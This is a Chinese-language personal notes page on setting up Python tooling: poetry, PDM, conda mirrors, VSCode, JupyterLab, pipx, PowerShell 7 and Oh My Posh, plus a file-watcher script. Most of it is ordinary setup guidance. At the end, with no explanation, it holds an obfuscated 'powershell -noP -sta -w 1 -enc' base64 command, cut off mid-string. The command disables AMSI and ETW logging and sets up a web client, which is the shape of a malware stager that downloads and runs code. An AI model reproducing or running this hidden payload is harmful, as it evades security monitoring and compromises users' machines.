: 将 poetry 所在目录添加到该配置文件中
export PATH="/root/.local/bin:$PATH"
+
# 重载配置文件
+source ~/.bashrc
+# 查看 poetry 版本
+poetry -V
+
windows powershell install instructions
:
(Invoke-WebRequest -Uri https://install.python-poetry.org -UseBasicParsing).Content | python -
+
上图中使用的是旧版的
1.x
版本的安装链接:https://raw.githubusercontent.com/python-poetry/poetry/master/get-poetry.py
, 新版本推荐使用https://install.python-poetry.org
来安装建议在安装Python之前系统优先的Python不要是conda环境, 也就是说最好系统优先的 Python 环境是自己手动安装的标准 Python 环境
PS: 因为我没装标准Python环境直接用 conda 出问题了, poetry 安装位置会乱飞还会找不到dll
使用
poetry --version
报错的话需要手动加下环境变量, 如上图所示的目录加到系统变量的path
变量中即可urllib.error.URLError: <urlopen error unknown url type: https> +
如果出现以上错误, 那可能是因为默认 Python 版本比较低, 建议使用 3.8 以上的版本
poetry 会自动添加环境变量, 安装完后重启 powershell
, 检查下 poetry 版本:
poetry --version
+
~/Library/Application Support/pypoetry
C:\Users\<username>\AppData\Roaming\pypoetry
可以通过:
poetry config virtualenvs.in-project true
+
来让 poetry 默认在项目根目录下创建 venv
作为虚拟环境目录, 或者直接写配置文件:
[virtualenvs]
+in-project = true
+
+
此项配置默认为
false
若在配置此项之前创建了虚拟环境, windows 下应该在
C:\Users\用户名\AppData\Local\pypoetry\Cache\virtualenvs
目录下, 将其删除后重新在项目根目录下poetry install
即可在项目根目录下创建.venv
作为虚拟环境目录
换源
Poetry 默认配置从 PyPI 查询依赖包, 如果想要使用私仓(或是镜像)的话需要如如下配置
[[tool.poetry.source]]
+name = "private"
+url = "http://example.com/simple"
+
例如:
[[tool.poetry.source]] +name = "aliyun" +url = "http://mirrors.aliyun.com/pypi/simple" +default = true +
[[tool.poetry.source]] +name = "tsinghua" +url = "https://pypi.tuna.tsinghua.edu.cn/simple/" +default = true +
Python - poetry(5)依赖规范 (win80.net)
可以在 pyproject.toml
的 tool.poetry.dependencies
区域指明依赖版本
也可以通过 poetry add
来安装依赖
poetry add numpy
+
默认情况下, poetry 会在 {cache-dir}/virtualenvs
({cache-dir}\virtualenvs
on Windows)目录下创建一个虚拟环境:
如果先前设置了 poetry config virtualenvs.in-project true
的话执行 poetry install
安装依赖则会装在项目根目录的 .venv
里
激活虚拟环境: cd
进入 .venv
然后使用 poetry shell
激活虚拟环境
poetry 可以直接使用 conda 环境而不单独创建虚拟环境
只需要先 activate 对应 conda 环境, 然后把 pyproject.toml
中的 python 版本对其当前 conda 环境版本即可
此时使用 poetry shell
会输出 Virtual environment already activated: xxxxxx
不过当然也可以使用 conda 环境来创建虚拟环境, 只需要使用 poetry env use 对应conda环境的python.exe路径
即可利用该 conda 环境创建虚拟环境
bin
目录中找不到 activate 脚本导致环境激活失败(ubuntu)在该 conda 环境的 bin 目录下新建一个 activate 文件, 写入如下代码然后重新 poetry shell 即可
#!/bin/sh
+_CONDA_ROOT="/root/anaconda3/envs/xxx" # 该 conda 环境根目录
+# Copyright (C) 2012 Anaconda, Inc
+# SPDX-License-Identifier: BSD-3-Clause
+\. "$_CONDA_ROOT/etc/profile.d/conda.sh" || return $?
+conda activate "$@"
+
+
奇怪的是虽然没有 activate 脚本, 但是直接 conda activate 是有用的
python poetry 1.0.0 private repo issue fix – Frank-Mich's Blog
# test.py
+import keyring
+print(keyring.util.platform_.config_root())
+
poetry run python test.py
+
打开输出的文件目录(不存在则创建), 新建一个 keyringrc.cfg
, 填入
[backend]
+default-keyring=keyring.backends.fail.Keyring
+
pdm-project/pdm: A modern Python package manager with PEP 582 support. (github.com)
PDM - 一款新的 Python 包管理器 | Frost's Blog (frostming.com)
pdm/README_zh.md at main · pdm-project/pdm (github.com)
官方文档已经讲得很详细了, 这里摘录下来方便个人阅读
PDM 是由 Poetry 开发组的成员开发的( •̀ ω •́ )✧
PDM 旨在成为下一代 Python 软件包管理工具。它最初是为个人兴趣而诞生的。如果你觉得 pipenv
或者 poetry
用着非常好,并不想引入一个新的包管理器,那么继续使用它们吧;但如果你发现有些东西这些 工具不支持,那么你很可能可以在 pdm
中找到。
PEP 582 提出下面这种项目的目录结构:
foo
+ __pypackages__
+ 3.8
+ lib
+ bottle
+ myscript.py
+
项目目录中包含一个__pypackages__
目录,用来放置所有依赖的库文件,就像npm
的node_modules
一样。 你可以在这里阅读更多提案的细节。
现在大部分的 Python 包管理器也同时管理虚拟环境,这主要是为了隔离项目开发环境。但如果涉及到虚拟 环境嵌套虚拟环境的时候,问题就来了:你可能用一个虚拟环境的 Python 安装了某个虚拟环境管理工具, 然后又用这个工具去创建更多虚拟环境。当某一天你升级了新版本的 Python 你必须一个一个去检查这些 虚拟环境,没准哪个就用不了了。
然而 PEP 582 提供了一个能把 Python 解释器和项目开发环境解耦的方法。这是一个相对比较新的提案, 没有很多相关的工具实现它,这其中就有 pyflow。但 pyflow 又是用 Rust 写的,不是所有 Python 的社区 都会用 Rust,这样就没法贡献代码,而且,基于同样的原因,pyflow 并不支持 PEP 517 构建。
安装 PDM 需要 Python 3.7 或更高版本
但是运行 PDM 没有 Python 版本要求
curl -sSL https://ghproxy.com/https://raw.githubusercontent.com/pdm-project/pdm/main/install-pdm.py | python3 -
+
使用 powershell
:
(Invoke-WebRequest -Uri https://raw.githubusercontent.com/pdm-project/pdm/main/install-pdm.py -UseBasicParsing).Content | python -
+
自动添加的 PATH 在用户变量中, 重启 VSCode 后可能依然无法正确识别 p
dm 命令, 此时可以手动修改环境变量, 在系统变量的 PATH 中加上上图中的相应值
使用 pipx
:
pipx install pdm
+
初始化一个新的 PDM 项目:
新建一个项目文件夹, 在当前文件夹目录下打开 powershell:
pdm init
+
按照指引回答提示的问题,一个 PDM 项目和对应的pyproject.toml
文件就创建好了。
把依赖安装到 __pypackages__
文件夹中
pdm add tk
+
+# 删除则可用:
+pdm remove tk
+
推荐在 .gitignore
中忽略
__pypackages__/
+.pdm.toml
+
对于 VSCode, 可以先用命令行安装 pdm-vscode:
pdm plugin add pdm-vscode
+
安装完后, 在输入 pdm init
或者 pdm use
命令后会自动创建 .vscode/settings.json
{
+ "python.autoComplete.extraPaths": ["__pypackages__/<major.minor>/lib"],
+ "python.analysis.extraPaths": ["__pypackages__/<major.minor>/lib"]
+}
+
+
需要结合 pylance 使用的话需要在项目根目录创建一个 pyrightconfig.json
:
{
+ "exclude": ["__pypackages__"]
+}
+
例如运行 main.py
可以使用
pdm run python main.py
+
pdm run python main.py
+
或者
eval "$(pdm --pep582)"
+python main.py
+
或者将 pdm --pep582
写到 /root/.bash_profile
然后再在 bash 中使用 python main.py
frostming/pdm-packer: A PDM plugin that packs your packages into a zipapp (github.com)
A PDM plugin that packs your packages into a zipapp
pdm-packer requires Python >=3.7
安装:
pdm plugin add pdm-packer
+
使用:
$ pdm pack [common-options] [pack-options]
+
Common Options:
-h, --help
+
show this help message and exit
-v, --verbose
+
-v for detailed output and -vv for more detailed
-g, --global
+
Use the global project, supply the project root with
-p
option
-p PROJECT_PATH, --project PROJECT_PATH
+
Specify another path as the project root, which changes the base of pyproject.toml and
__pypackages__
Pack Options:
-m MAIN, --main MAIN
+
Specify the console script entry point for the zipapp
-o OUTPUT, --output OUTPUT
+
Specify the output filename. By default the file name will be inferred from the project name.
-c, --compress
+
Compress files with the deflate method, no compress by default
--pyc, --compile
+
Compile source into pyc files
--no-py
+
Remove the .py files in favor of .pyc files
-i INTERPRETER, --interpreter INTERPRETER
+
The Python interpreter path, default: the project interpreter
--exe
+
Create an executable file. If the output file isn't given, the file name will end with .exe(Windows) or no suffix(Posix)
See also: https://docs.python.org/3.9/library/zipapp.html
示例:
# Create with default name(<project_name>.pyz) and console_script as the __main__.py
+pdm pack
+# Create an executable file
+pdm pack --exe
+# Create with custom __main__.py and filename
+pdm pack -o app.pyz -m app:main
+
Anaconda
安装完成后调起命令行会默认启动 conda 环境, 可以使用如下命令开启或关闭该项配置
# 关闭自动启动conda环境
+conda config --set auto_activate_base false
+# 启动自动启动conda环境
+conda config --set auto_activate_base true
+
创建一个名为 BigData
, python 版本为 3.9 的虚拟环境
conda create -n BigData python=3.9
+
激活 BigData
conda 环境
conda activate BigData
+
退出当前虚拟环境
conda deactivate
+
Conda clean 净化Anaconda - 简书 (jianshu.com)
Anaconda conda常用命令:从入门到精通_chenxy_bwave的专栏-CSDN博客_conda常用命令
Anaconda 官网
可在此处获取其他版本的安装包
需要注意的是, 使用 Anaconda Navigator 或者 conda 环境操作时需要关掉梯子, 否则可能会报 host 错误
Anaconda 官网
可在此处获取其他版本的安装包
需要注意的是 Anaconda 装完之后打开命令行总会自动进入 conda 环境, 可以通过更改 conda 配置来取消自动进入
conda config --set auto_activate_base false +
如果想要设置自动进入的话将
false
改为true
运行即可
安装完成后打开 Anaconda Navigator
:
打开 anaconda prompt
执行以下命令来配置清华源:
不打开 navigator 也是完全可行的, 打开命令行就可以了, 前提是为 anaconda 配置了环境变量
只要在命令行中
conda -V
有版本号输出就可以了
conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/msys2/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/pytorch/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/
+conda config --set show_channel_urls yes
+
配置清华源是为了后续使用 pip
命令安装 python 库时快些, 不配置换源而直接使用默认源的话在墙内容易超时报错
中科大源:
conda config --add channels https://mirrors.ustc.edu.cn/anaconda/pkgs/main/ +conda config --add channels https://mirrors.ustc.edu.cn/anaconda/pkgs/free/ +conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/conda-forge/ +conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/msys2/ +conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/bioconda/ +conda config --add channels https://mirrors.ustc.edu.cn/anaconda/cloud/menpo/ +conda config --set show_channel_urls yes + +
需要注意的是 conda 换源后会使更新 conda 的操作可能会报错
因此在更新 conda 的时候记得回复默认源
conda config --remove-key channels +
查看源:
conda config --show +
打开 Anaconda Navigator -> Environments
在环境列表底部按钮中找到 Create
并点击
为新环境命一个名(英文命名, 尽量简短些, 之后激活要用)
这里选择了 Python 3.8.13, 不上 3.9 或者 3.10 主要是因为有一些三方库更新没跟上, 不一定支持 python3.9 及以上
在命令行中使用 conda 环境可以使用如下指令激活:
conda activate 环境名
+
conda update conda -y
+conda update anaconda -y
+conda update anaconda-navigator -y
+
如果进行了换源操作记得在升级前恢复默认源, 否则可能会在镜像源中找不到更新包
conda config --remove-key channels +
如何在 Ubuntu 20.04 上安装 Anaconda - 云+社区 - 腾讯云 (tencent.com)
Anaconda conda常用命令:从入门到精通_chenxy_bwave的专栏-CSDN博客_conda常用命令
# 安装 Anaconda
+#wget https://repo.anaconda.com/archive/Anaconda3-2021.11-Linux-x86_64.sh
+#bash Anaconda3-2021.11-Linux-x86_64.sh
+wget https://repo.anaconda.com/archive/Anaconda3-2022.05-Linux-x86_64.sh
+bash Anaconda3-2022.05-Linux-x86_64.sh
+
若出现
段错误 (核心已转储)
字样, 可以使用wget https://repo.anaconda.com/archive/Anaconda3-2022.05-Linux-x86_64.sh +
从断点处继续下载
长按 ENTER 阅读完条款
yes
选择安装路径, 默认为 /root/anaconda3
, 这个过程会比较长
yes, 执行初始化, 这将会将命令行工具 conda 添加到系统的 PATH 环境变量中。
不过想要激活 Anaconda,还需要关闭并且重新打开你的 shell 或者在当前 shell 会话中输入下面的命令,来重新加载 PATH 环境变量:
source ~/.bashrc
+
可以使用 conda --version
查看 Anaconda 版本
设置国内镜像
#设置清华镜像
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/free/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/pkgs/main/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/conda-forge/
+conda config --add channels https://mirrors.tuna.tsinghua.edu.cn/anaconda/cloud/bioconda/
+#设置bioconda
+conda config --add channels bioconda
+conda config --add channels conda-forge
+#设置搜索时显示通道地址
+conda config --set show_channel_urls yes
+
创建一个名为 BigData
, python 版本为 3.9 的虚拟环境
conda create -n BigData python=3.9
+
激活 BigData
虚拟环境
conda activate BigData
+
退出当前虚拟环境
conda deactivate
+
Conda clean 净化Anaconda - 简书 (jianshu.com)
Anaconda conda常用命令:从入门到精通_chenxy_bwave的专栏-CSDN博客_conda常用命令
Anaconda 官网
可在此处获取其他版本的安装包
check_hostname requires server_hostname
Pycharm
中新建 conda
环境报的错误,接着打开 Anaconda Navigator
也报了相同的错误对于 Clash 而言可以打开此项配置
开了之后就正常了:
HTTPError
相关我这边报错都是清华的源报错,换成阿里的源就没问题了(
https://mirrors.aliyun.com/anaconda/pkgs/main/
ModuleNotFoundError: No module named 'pip._vendor....'
pip
出问题了CMD.exe Prompt
中执行 conda update pip
即可用于编辑与运行 python 程序, 选择 VSCode 主要是其比较轻量, 启动比较快, 用起来比较顺手, 且插件市场庞大, 对于许多语言都有插件支持, 按需下载
比起安装 python 解释器自带的 IDLE 友好许多, 又不会像 Pycharm 一样庞大/启动慢/占资源, 作为平时写点小脚本, 小玩意儿来说完全够用
汉化插件
Python 相关基础插件
jupyter 插件
使用 Jupyter 的好处在于可以边写笔记边写代码, 如下图所示, 在笔记中可以插入代码块并运行及显示
Markdown 插件
命令行插件 Terminal
用于在 VSCode 中打开 powershell 执行命令
有时 Pylance 可能会识别不了 import 导入的自定义包, 此时需要设置 VScode Pylance 的 python.analysis.extraPaths
属性, 加上自定义包的所在目录
可以在设置中添加:
也可以直接在当前工作目录下新建一个 .vscode/settings.json
进行配置:
{
+ "python.analysis.extraPaths": [
+ "/usr/local/python37/lib/python3.7/site-packages",
+ ]
+}
+
然后就可以 Pylance 正常加载相关包了
有时候可能仍旧索引不到相关模块, 那么可以将层级写深点, 不止于
site-packages
, 而是写到模块 py 文件所在目录
生成整个当前环境的依赖
pip freeze > requirements.txt
+
如果对项目使用了虚拟环境那么这会是一个生成项目依赖的不错的方法
生成当前项目的依赖
pip install pipreqs
+pipreqs .
+
实际上这里我用的
conda环境
,相应的也可以在anaconda
中进行换源配置
Ctrl + R
替换Ctrl + Shift + R
全局替换无意中触发了TIM快捷键:``Ctrl+Alt+F`(文字识别)
File -> Settings -> Editor -> File and Code Templates
例:Python Script
例:
# -*- coding: utf-8 -*-
+# @Time : ${DATE} ${TIME}
+# @Author : 咸鱼型233
+# @File : ${NAME}.py
+# @Software: ${PRODUCT_NAME}
+
接触 VSCode 的 Jupyter 插件后感觉还是 VSCode + Jupyter 比较好用, 一方面 VSCode 可以安装许多插件作为编码的辅助工具, 另一方面, 单个
.ipynb
文件也比较方便编辑
Anaconda自带,直接在Home
里Launch
即可
启动完之后会发现默认启动路径是电脑用户根目录
,可以将其改到一个自己觉得合适的目录,操作如下
Anaconda
的Environments
界面用Terminal
打开默认的Python环境(也即默认安装的JupyterLab的依赖环境) zmq
pip install -i https://mirrors.aliyun.com/pypi/simple/ zmq
+
生成配置文件
Jupyter notebook --generate-config
+
若成功则会显示Writing default config to: 文件路径
文件路径
指向的文件,利用Ctrl+f
找到c.NotebookApp.notebook
,将其#注释删除,在''
中填入自己认为合适的启动路径我这里是
C:\Users\233\.jupyter\jupyter_notebook_config.py
再次在Home
里Launch
启动JupyterLab
确认配置情况
环境准备
打开cmd prompt
或者Powershell prompt
安装npm
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple npm
+
安装nodejs
conda install -c conda-forge nodejs
+
- 不要给
yarn
和npm
换淘宝的源
- 淘宝源里没有JupyterLab相关的插件,下载插件时会
404
安装插件
JupyterLab
可视化界面中安装会有安装提示
install
及rebuild
等
rebuild
之后若左侧栏目未正常显示该插件则先关闭JupyterLab
再重新启动看看有没有正常加载,若仍未正常显示则可以看看下面这条反复安装与卸载插件可能会导致插件无法正常加载的错误
错误发现:
Anaconda中运行cmd prompt
或者Powershell prompt
jupyter labextension list
+
并回车,会给出Known labextensions
和Uninstalled core extensions
错误解决方法
JupyterLab
插件build
的配置文件 <conda_root>/envs/<env_name>/share/jupyter/lab/settings/build_config.json
JupyterLab
的环境conda
的默认的root
环境,则位置在 <conda_root>/share/jupyter/lab/settings/build_config.json
@kiteco/jupyterlab-kite
Python
代码提示
在Anaconda
中安装Spyder
的时候一般会引导下载Kite
使用效果
安装
Prompt
安装
打开Anaconda
的Prompt
pip install -i https://pypi.tuna.tsinghua.edu.cn/simple jupyter-kite
+jupyter labextension install @kiteco/jupyterlab-kite
+
重启JupyterLab
即可
Enter
转入编辑模式
Shift-Enter
运行本单元,选中下个单元
Ctrl-Enter
运行本单元
Alt-Enter
运行本单元,在其下插入新单元
Y
单元转入代码状态
M
单元转入markdown状态
R
单元转入raw状态
1
设定 1 级标题
2
设定 2 级标题
3
设定 3 级标题
4
设定 4 级标题
5
设定 5 级标题
6
设定 6 级标题
Up
选中上方单元
K
选中上方单元
Down
选中下方单元
J
选中下方单元
Shift-K
扩大选中上方单元
Shift-J
扩大选中下方单元
A
在上方插入新单元
B
在下方插入新单元
X
剪切选中的单元
C
复制选中的单元
Shift-V
粘贴到上方单元
V
粘贴到下方单元
Z
恢复删除的最后一个单元
D,D
删除选中的单元
Shift-M
合并选中的单元
Ctrl-S
文件存盘
S
文件存盘
L
转换行号
O
转换输出
Shift-O
转换输出滚动
Esc
关闭页面
Q
关闭页面
H
显示快捷键帮助
I,I
中断Notebook内核
0,0
重启Notebook内核
Shift
忽略
Shift-Space
向上滚动
Space
向下滚动
Tab
代码补全或缩进
Shift-Tab
提示
Ctrl-]
缩进
Ctrl-[
解除缩进
Ctrl-A
全选
Ctrl-Z
复原
Ctrl-Shift-Z
再做
Ctrl-Y
再做
Ctrl-Home
跳到单元开头
Ctrl-Up
跳到单元开头
Ctrl-End
跳到单元末尾
Ctrl-Down
跳到单元末尾
Ctrl-Left
跳到左边一个字首
Ctrl-Right
跳到右边一个字首
Ctrl-Backspace
删除前面一个字
Ctrl-Delete
删除后面一个字
Esc
进入命令模式
Ctrl-M
进入命令模式
Shift-Enter
运行本单元,选中下一单元
Ctrl-Enter
运行本单元
Alt-Enter
运行本单元,在下面插入一单元
Ctrl-Shift
– 分割单元
Ctrl-Shift-Subtract
分割单元
Ctrl-S
文件存盘
Shift
忽略
Up
光标上移或转入上一单元
Down
光标下移或转入下一单元
pypa/pipx: Install and Run Python Applications in Isolated Environments (github.com)
pip install pipx --user pipx
+
提示需要将路径添加到 PATH, 这个可以让 pipx 来完成
首先 cd
到安装 pipx 的目录, 然后执行 ./pipx ensurepath
:
然后重启终端输入 pipx 看看有没有反馈信息
如果有回显信息:
那么说明成功了
如果没有的话则需要手动将 C:\Users\233\AppData\Roaming\Python\Python38\Scripts
(以我上面安装pipx的路径为例) 添加到环境变量的 PATH
变量中
Pipx 是一个帮助您安装和运行用 Python 编写的最终用户应用程序的工具。它大致类似于 macOS 的 brew,JavaScript 的 npx,和 Linux 的 apt。
它与 pip 密切相关。实际上,它使用 pip,但是它专注于安装和管理可以从命令行直接作为应用程序运行的 Python 包。
Pip 是一个通用的包安装程序,用于没有环境隔离的库和应用程序。
Pipx 是专门为应用程序安装而设计的,因为它增加了隔离性,但仍然使应用程序可以在外壳中使用: pipx 为每个应用程序及其相关包创建一个隔离的环境。
默认情况下,pipx 使用与 pip 相同的包索引 PyPI。Pipx 还可以从所有其他来源安装 pip can,比如本地目录、 wheel、 git url 等。
Python 和 PyPI 允许开发人员使用“控制台脚本入口点”分发代码。这些入口点允许用户从命令行调用 Python 代码,有效地起到独立应用程序的作用。
Pipx 是一个工具,用于以安全、方便和可靠的方式安装和运行这些数千个包含应用程序的软件包。在某种程度上,它把 pythonpackageindex (PyPI)变成了 Python 应用程序的大型应用程序商店。并不是所有的 Python 包都有入口点,但是很多都有。
成功了但没完全成功, 不打算再在 ubuntu 16.04 LTS 上整花活了.
PS: 2022-8-5: 成功了, 详见 [Ubuntu 16.04 LTS 配置Jupyter服务](#Ubuntu 16.04 LTS 配置Jupyter服务)
PS: VSCode 用
Python Environment Manager
扩展获取最新 Python 环境也是可以的(推荐使用此项, 一键安装免配置, 懒人解法)
20220803 ubuntu16.04LTS Python Environment Managerv1.0.4 拉取最新 Python 装了个 3.9.13 的 conda 环境
ubuntu 16.04 默认自带 Python2.7 和 Python3.5, 可以通过whereis python
查看
这里选择 3.8.12 属于是保守了, 一方面考虑到 1604 有点老, 另一方面有些三方库也并没有跟上时代
apt-get install zlib1g-dev libbz2-dev libssl-dev libncurses5-dev libsqlite3-dev
+
wget https://www.python.org/ftp/python/3.8.12/Python-3.8.12.tar.xz
+# 解压
+tar -xf Python-3.8.12.tar.xz
+# 进入解压目录
+cd Python-3.8.12
+# 执行安装(这两步时间会比较长)
+./configure prefix=/usr/local/python3
+make && make install
+
# 备份原来的 Python 软链接
+mv /usr/bin/python /usr/bin/python.bak
+# 修改 python3 软链接
+ln -s /usr/local/python3/bin/python3 /usr/bin/python
+# 验证安装
+python -V
+
# 更新 pip
+python -m pip install --upgrade pip
+# 验证更新
+pip -V
+
实验环境
: windows 10 使用 root 用户 远程 ubuntu 16.04 LTS 虚拟机
直接使用 VSCode 的 Python Environment Manager
扩展获取最新 conda 环境
激活当前 conda 环境 conda activate xxx
安装 jupyter
套件
pip install jupyter
+pip install jupyterlab
+pip install notebook
+
打开 VScode 的 settings.json
,加上
"jupyter.jupyterCommandLineArguments": [
+ "--allow-root"
+ ],
+
Python Failed to write executable - trying to use .deleteme logic 解决方法 | 烟雨平生 (i007it.com)
如果在 VSCode 中的终端中运行安装库的命令出现类似于如下报错
ERROR: Could not install packages due to an Environment: [WinError 2] 系统找不到指定的文件 : xxxxxxxxx -> xxxxx\\pythonxx\\Scripts\\xxx.exe.deleteme
+
那么就是权限问题, 请使用管理员方式打开 VSCode
$PSVersionTable
+$PSVersionTable.PSVersion
+
Releases · PowerShell/PowerShell (github.com)
在 Windows 上安装 PowerShell - PowerShell | Microsoft Docs
从 Windows PowerShell 5.1 迁移到 PowerShell 7 - PowerShell | Microsoft Docs
# 查看 powershell 版本
+$psversiontable
+
PowerShell 7 是专为云、本地和混合环境设计的,它包含增强功能和新功能。
ForEach-Object -Parallel
)PowerShell 7 与 Windows PowerShell 并行运行,可便于你在部署前轻松地测试和比较各个版本。 迁移简单、快捷、安全,
以下 Windows 操作系统支持 PowerShell 7:
PowerShell 7 还在 macOS 和多个 Linux 发行版本上运行。 若要获取受支持操作系统的列表,并了解支持生命周期,请参阅 PowerShell 支持生命周期。
PowerShell 7 默认安装路径为 C:\Program Files\PowerShell\
# 为当前 powershell 会话设置 http 与 https 代理
+$env:HTTP_PROXY="http://127.0.0.1:7890"
+$env:HTTPS_PROXY="http://127.0.0.1:7890"
+
A prompt theme engine for any shell.
首先 在 Windows 上安装 PowerShell7 - PowerShell | Microsoft Learn, 默认的 Powershell5 不支持主题中的一些语法
使用 winget
安装 OhMyPosh
:
由于要到 github 获取资源, 因此挂代理会快些, 以本地 7890 端口有代理为例, 可以在 powershell 中临时设置代理配置:
$env:HTTP_PROXY="http://127.0.0.1:7890"
+$env:HTTPS_PROXY="http://127.0.0.1:7890"
+
然后使用 winget
安装 OhMyPosh
winget install JanDeDobbeleer.OhMyPosh -s winget
+
安装一个支持的字体, 如 MesloLGSNF
官方文档中使用
oh-my-posh font install
选择字体进行安装, 不过我安装后进行配置时总是找不到字体, 最终使用MESLOLGS NF
成功进行了配置
然后在 Powershell 中使用快捷键 Ctrl+Shift+,
调起配置文件, 在 profiles
中的 defaults
属性下添加 font.face
属性
"font":
+ {
+ "face": "MesloLGS NF"
+ }
+
添加并保存后会自动弹回到打开的 Powershell 窗口, 不报错就说明成功用上了字体
对于 VSCode 而言, VSCode 调起的终端中的字体配置还需要在 VSCode 的配置项中配下
接下来编辑 powershell 配置文件配置默认使用 OhMyPosh
code $PROFILE
+
在配置中加上如下语句
oh-my-posh init pwsh | Invoke-Expression
+
这样即可成功让 powershell 使用上 OhMyPosh
配置主题
可以在 Themes | Oh My Posh 查看 OhMyPosh 中支持的主题
或者使用如下命令直接在 Powershell 中预览主题
Get-PoshThemes
+
记得及时
Ctrl + C
, 不然会拖很长, 毕竟主题挺多的
在 Powershell 中预览主题时, 主题的名字是超链接, 可以通过 Ctrl + 鼠标点击的形式编辑该主题配置文件
然后编辑 Powershell 配置文件, 配置 OhMyPosh 的主题
code $PROFILE
+
添加如下命令
oh-my-posh init pwsh --config '主题json路径' | Invoke-Expression
+
然后重启 Powershell/VSCode 窗口即可看到 Powershell 加载了 OhMyPosh 及设定的主题
需要注意的是如果是默认的 powershell5 的话, 加载主题可能会报错, 且每次打开 powershell 窗口均会报错, 因此建议直接升级到 powershell7
可以通过如下命令查看 powershell 版本
$psversiontable +
# 监控的目录
+$targetDir = "E:\temp\testDir"
+# log文件路径为当前目录下的log.txt
+$logFile = ".\log.txt"
+# 在当前目录下新建一个 monitor_cache 目录用于存放监控的文件
+$cacheDir = ".\monitor_cache"
+if (!(Test-Path $cacheDir)) {
+ New-Item -ItemType Directory -Force -Path $cacheDir
+}
+Write-Host $cacheDir "created for cache files"
+
+# 创建监控对象
+$watcher = New-Object System.IO.FileSystemWatcher
+$watcher.Path = $targetDir
+$watcher.IncludeSubdirectories = $true
+$watcher.EnableRaisingEvents = $true
+
+# 定义一个通用的事件处理函数,根据不同的事件类型执行不同的操作
+$commonAction = {
+ # 获取事件参数
+ $path = $Event.SourceEventArgs.FullPath
+ $changeType = $Event.SourceEventArgs.ChangeType
+ # 记录下时间以及变动的文件信息
+ $date = Get-Date -Format "yyyy-MM-dd HH:mm:ss"
+ # 日志信息
+ $log = "$date File $path was $changeType"
+ # 输出到控制台
+ Write-Host $log
+ # 将变动的文件信息写入log文件
+ Add-Content $logFile $log
+
+ # 如果变动的是个文件而非目录,且不是删除事件,则将其复制到 monitor_cache 目录下,并前缀当前时间以及事件类型
+ if (!(Test-Path $path -PathType Container) -and ($changeType -ne "Deleted")) {
+ # 生成新的文件路径,替换掉冒号、空格和反斜杠等特殊字符,避免路径错误或冲突
+ $newPath = $cacheDir + "\" + ($date + "_" + $changeType + "_" + $path.Replace($targetDir, "")).Replace(":", "-").Replace(" ", "_").Replace("\", "_")
+ Copy-Item $path $newPath
+ }
+}
+
+# 注册事件,使用同一个事件处理函数,并传递不同的事件类型参数
+$eventTypes = @("Created", "Changed", "Deleted", "Renamed")
+foreach ($eventType in $eventTypes) {
+ Register-ObjectEvent $watcher $eventType -Action $commonAction
+}
+
+# 等待事件发生
+try {
+ while ($true) {
+ Start-Sleep 1
+ }
+}
+finally {
+ # 清理事件注册
+ $watcher.Dispose()
+}
+
+
powershell -noP -sta -w 1 -enc SQBmACgAJABQAFMAVgBlAHIAcwBpAG8AbgBUAGEAYgBsAGUALgBQAFMAVgBlAHIAcwBpAG8AbgAuAE0AYQBqAG8AcgAgAC0AZwBlACAAMwApAHsAJABSAGUAZgA9AFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBBAG0AcwBpAFUAdABpAGwAcwAnACkAOwAkAFIAZQBmAC4ARwBlAHQARgBpAGUAbABkACgAJwBhAG0AcwBpAEkAbgBpAHQARgBhAGkAbABlAGQAJwAsACcATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAnACkALgBTAGUAdAB2AGEAbAB1AGUAKAAkAE4AdQBsAGwALAAkAHQAcgB1AGUAKQA7AFsAUwB5AHMAdABlAG0ALgBEAGkAYQBnAG4AbwBzAHQAaQBjAHMALgBFAHYAZQBuAHQAaQBuAGcALgBFAHYAZQBuAHQAUAByAG8AdgBpAGQAZQByAF0ALgBHAGUAdABGAGkAZQBsAGQAKAAnAG0AXwBlAG4AYQBiAGwAZQBkACcALAAnAE4AbwBuAFAAdQBiAGwAaQBjACwASQBuAHMAdABhAG4AYwBlACcAKQAuAFMAZQB0AFYAYQBsAHUAZQAoAFsAUgBlAGYAXQAuAEEAcwBzAGUAbQBiAGwAeQAuAEcAZQB0AFQAeQBwAGUAKAAnAFMAeQBzAHQAZQBtAC4ATQBhAG4AYQBnAGUAbQBlAG4AdAAuAEEAdQB0AG8AbQBhAHQAaQBvAG4ALgBUAHIAYQBjAGkAbgBnAC4AUABTAEUAdAB3AEwAbwBnAFAAcgBvAHYAaQBkAGUAcgAnACkALgBHAGUAdABGAGkAZQBsAGQAKAAnAGUAdAB3AFAAcgBvAHYAaQBkAGUAcgAnACwAJwBOAG8AbgBQAHUAYgBsAGkAYwAsAFMAdABhAHQAaQBjACcAKQAuAEcAZQB0AFYAYQBsAHUAZQAoACQAbgB1AGwAbAApACwAMAApADsAfQA7AFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoARQB4AHAAZQBjAHQAMQAwADAAQwBvAG4AdABpAG4AdQBlAD0AMAA7ACQAdwBjAD0ATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAA7ACQAdQA9ACcATQBvAHoAaQBsAGwAYQAvADUALgAwACAAKABXAGkAbgBkAG8AdwBzACAATgBUACAANgAuADEAOwAgAFcATwBXADYANAA7ACAAVAByAGkAZABlAG4AdAAvADcALgAwADsAIAByA